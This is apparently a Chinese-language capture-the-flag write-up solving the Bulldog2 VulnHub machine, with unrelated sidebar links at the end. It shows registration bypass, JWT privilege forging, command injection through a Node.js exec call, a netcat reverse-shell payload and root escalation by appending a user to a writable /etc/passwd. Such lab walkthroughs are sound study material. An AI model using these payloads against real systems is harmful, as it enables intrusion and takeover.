关于

信息收集

  • 网卡:vboxnet0,192.168.56.1/24,Nmap扫存活主机发现IP为192.168.56.101

➜  ~ nmap -sn 192.168.56.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-25 20:48 CST
Nmap scan report for 192.168.56.1
Host is up (0.00013s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00061s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.02 seconds
➜ ~
➜ ~ nmap -T4 -A 192.168.56.101
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-25 20:49 CST
Nmap scan report for 192.168.56.101
Host is up (0.00041s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Bulldog.social
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds
  • 发现只开了80端口,所以只能从Web入手了,浏览器打开看插件可知编程语言是Node-js,整个页面也只加载了几个js和css文件,而且查看网页源码发现只有一行。正常的开发者是不会这么写的,太难看了,格式化一下,页面也没什么特效,加载的js文件有点多啊,问题肯定在js里。
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>
Bulldog.social
</title>
<link rel="stylesheet" href="/assets/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="/assets/styles.css">
<script src="/assets/particles.min.js">
</script>
<base href="/">
<meta name="viewport" content="width=device-width,initial-scale=1">
<link rel="icon" type="image/x-icon" href="favicon.ico">
<link href="styles.7decb11e9986af81075e.bundle.css" rel="stylesheet" />
</head>
<body>
<div id="particles-js">
</div>
<br>
<br>
<app-root>
</app-root>
<br>
<div style="text-align:center">
<a href="/about">
About Us |
</a>
<a href="/">
Twitter |
</a>
<a href="/">
Instagram
</a>
</div>
<br>
<script type="text/javascript" src="inline.7a6fe116b23fa31a9970.bundle.js">
</script>
<script type="text/javascript" src="polyfills.f056ccbeb07b92448c13.bundle.js">
</script>
<script type="text/javascript" src="vendor.0ce9a4a4addea27177ca.bundle.js">
</script>
<script type="text/javascript" src="main.8b490782e52b9899e2a7.bundle.js">
</script>
</body> </html>
<script>
particlesJS.load('particles-js', '/assets/particles/particlesjs-config.json',
function() {});
</script>
  • 到处点,发现关闭了注册功能,但在main.8b490782e52b9899e2a7.bundle.js这个文件里找到了注册功能,只要安照json格式发送请求就可以注册成功了。
l.prototype.onRegisterSubmit = function() {
var l = this,
n = {
name: this.name,
email: this.email,
username: this.username,
password: this.password
};

绕过注册

  • 数据包
POST /users/register HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/login
content-type: application/json
Content-Length: 99
Connection: close {
"name": "kt",
"email": "root@kali-team.cn",
"username": "kt",
"password": "123456"
}
  • 返回用户已经注册,登录试试。
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 24 Oct 2018 08:36:19 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 40
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
ETag: W/"28-r22PRevV1bosgiTQ0L7/zW61meQ" {"success":true,"msg":"User registered"}

获取管理员权限

  • 登录后返回一串字符,里面有一个键为auth_level的值翻译过来是标准用户,即不是管理员。发现token有一个JWT,谷歌找到一个解密网站点我
{"success":true,"token":"JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7Im5hbWUiOiJrdCIsImVtYWlsIjoicm9vdEBrYWxpLXRlYW0uY24iLCJ1c2VybmFtZSI6Imt0IiwiYXV0aF9sZXZlbCI6InN0YW5kYXJkX3VzZXIifSwiaWF0IjoxNTQwMzcwNTYzLCJleHAiOjE1NDA5NzUzNjN9.miulCBmgpn_NqFHppjlk-zzJsSrdgCvdHZTP395Hbjg","user":{"name":"kt","username":"kt","email":"root@kali-team.cn","auth_level":"standard_user"}}
  • 然后解密得到下面内容,就是我注册时的信息啊,通过搜索js里的auth_level找到判断是否是管理员权限的地方找到了master_admin_user,想着是不是把standard_usermaster_admin_user就能拿到管理员权限了。
{
"payload": {
"name": "kt",
"email": "root@kali-team.cn",
"username": "kt",
"auth_level": "standard_user"
},
"iat": 1540370563,
"exp": 1540975363
}
l.prototype.isAdmin = function() {
var l = localStorage.getItem("user");
return null !== l && "master_admin_user" == JSON.parse(l).auth_level
},
  • 然后在解密平台上把auth_level的值改为master_admin_user再把加密后的token替换原来的 ,明文的也一起改了,再放行数据,在浏览器这边已经方形用户成为管理员权限了。

漏洞利用

  • 打开管理员的控制面板看到CLI Tool,第一眼看上去是不是想到命令行工具。Nodejs执行命令一般都会用exec创建子进程执行,找到routes/users.js文件有一段可能存在命令执行漏洞的代码。
router.post('/linkauthenticate', (req, res, next) => {
const username = req.body.password;
const password = req.body.password; exec(`linkplus -u ${username} -p ${password}`, (error, stdout, stderr) => {
if (error) {
console.error(`exec error: ${error}`);
return;
}
console.log(`stdout: ${stdout}`);
console.log(`stderr: ${stderr}`);
});
  • 当请求改密码时会执行linkplus -u ${username} -p ${password}我们在后面跟着想执行的命令就可以了,因为没有回显,所以也不知道命令有没有执行成功,你们可以用DNSlog测试,我在这就ping我自己的电脑,抓包证明一下就好了,可以看出是命令执行成功了的。
POST /users/linkauthenticate HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/dashboard
content-type: application/json
Content-Length: 73
Connection: close {
"username": "kt",
"password": "1234566 ; ping 192.168.56.1 -c 4"
}
11	0.005424306	192.168.56.101	192.168.56.1	ICMP	98	Echo (ping) request  id=0x61fd, seq=1/256, ttl=64 (reply in 12)
12 0.005440583 192.168.56.1 192.168.56.101 ICMP 98 Echo (ping) reply id=0x61fd, seq=1/256, ttl=64 (request in 11)

反弹Shell

  • 因为json请求里有了引号,所以很多反弹的方法都不管用了,但找到了一种没有引号的
POST /users/linkauthenticate HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/dashboard
content-type: application/json
Content-Length: 123
Connection: close {
"username": "kt",
"password": "1 ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 7788 >/tmp/f"
}
  • NC已经返回shell了
➜  ~ nc -lvp 7788
Connection from 192.168.56.101:37834
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(node) gid=1005(node) groups=1005(node)
$

提权

  • find / -writable -type f 2>/dev/null | grep -v "/proc/"找出所有可写的root用户的文件,发现/etc/passwd文件可写。

  • 生成密码

➜  ~ openssl passwd -1 -salt kt 123
$1$kt$mR/jSFSDV/G0vNQ72T8cs.
  • 添加用户$ echo "kt:\$1\$kt\$mR/jSFSDV/G0vNQ72T8cs.:0:0:root:/root:/bin/bash" >> passwd
node@bulldog2:/etc$ su kt
su kt
Password: 123
root@bulldog2:/etc# id
id
uid=0(root) gid=0(root) groups=0(root)
root@bulldog2:/etc#
root@bulldog2:/etc# cd /root
cd /root
root@bulldog2:~# ls
ls
flag.txt
root@bulldog2:~# cat flag.txt
cat flag.txt
Congratulations on completing this VM :D That wasn't so bad was it? Let me know what you thought on twitter, I'm @frichette_n I'm already working on another more challenging VM. Follow me for updates.
root@bulldog2:~#
  • Flag到手!

Write-up-Bulldog2的更多相关文章

  1. kali渗透综合靶机(三)--bulldog2靶机

    kali渗透综合靶机(三)--bulldog2靶机 靶机地址:https://download.vulnhub.com/bulldog/Bulldog2.ova 一.主机发现 1.netdiscove ...

随机推荐

  1. Laravel Vuejs 实战:开发知乎 (4)实现找回密码

    资料 : Resetting Passwords   以及 Episode 35 - The Password Reset Flow 由于之前的实现里默认自带重置找回密码功能,不再复述. 默认的重置页 ...

  2. java使用bitmap求两个数组的交集

    一般来说int代表一个数字,但是如果利用每一个位 ,则可以表示32个数字 ,在数据量极大的情况下可以显著的减轻内存的负担.我们就以int为例构造一个bitmap,并使用其来解决一个简单的问题:求两个数 ...

  3. java编译器不匹配问题(java compiler level does not match the version of the installed java project facet)

    问题:项目经常copy过来,经常会报说Java编译器不匹配 解决方法:找到项目所在的目录,在.settings子目录里面,用文本编辑器打开org.eclipse.wst.common.project. ...

  4. ThreadLocal是什么?

    早在JDK 1.2的版本中就提供Java.lang.ThreadLocal,ThreadLocal为解决多线程程序的并发问题提供了一种新的思路.使用这个工具类可以很简洁地编写出优美的多线程程序. 当使 ...

  5. (转)基于快速排序的TOPK算法

    基于快速排序的TOPK算法 转自:http://blog.csdn.net/fanzitao/article/details/7617223 思想: 类似于快速排序,首先选择一个划分元,如果这个划分元 ...

  6. python manage.py shell

    启动python有两种方式:python manage.py shell和python. 这两个命令 都会启动交互解释器,但是manage.py shell命令有一个重要的不同: 在启动解释器之前,它 ...

  7. 黑帽JS跳转

    一.常规的JS页面跳转代码 .在原来的窗体中直接跳转用 <script type=”text/javascript”> window.location.href=”http://www.g ...

  8. java 编译java文件 以及生成可执行jar

    1.新建java project: 2.src下新建包以及class文件: 3.打包: 5.选取目标mainclass 很关键决定jar是否可执行: 7.build jar : 8:artifact ...

  9. ASP.NET Core搭建多层网站架构【3-xUnit单元测试之简单方法测试】

    2020/01/28, ASP.NET Core 3.1, VS2019, xUnit 2.4.0 摘要:基于ASP.NET Core 3.1 WebApi搭建后端多层网站架构[3-xUnit单元测试 ...

  10. Python爬虫老是被封的解决方法【面试必问】

    在爬取的过程中难免发生 ip 被封和 403 错误等等,这都是网站检测出你是爬虫而进行反爬措施,在这里为大家总结一下 Python 爬虫动态 ip 代理防止被封的方法. PS:另外很多人在学习Pyth ...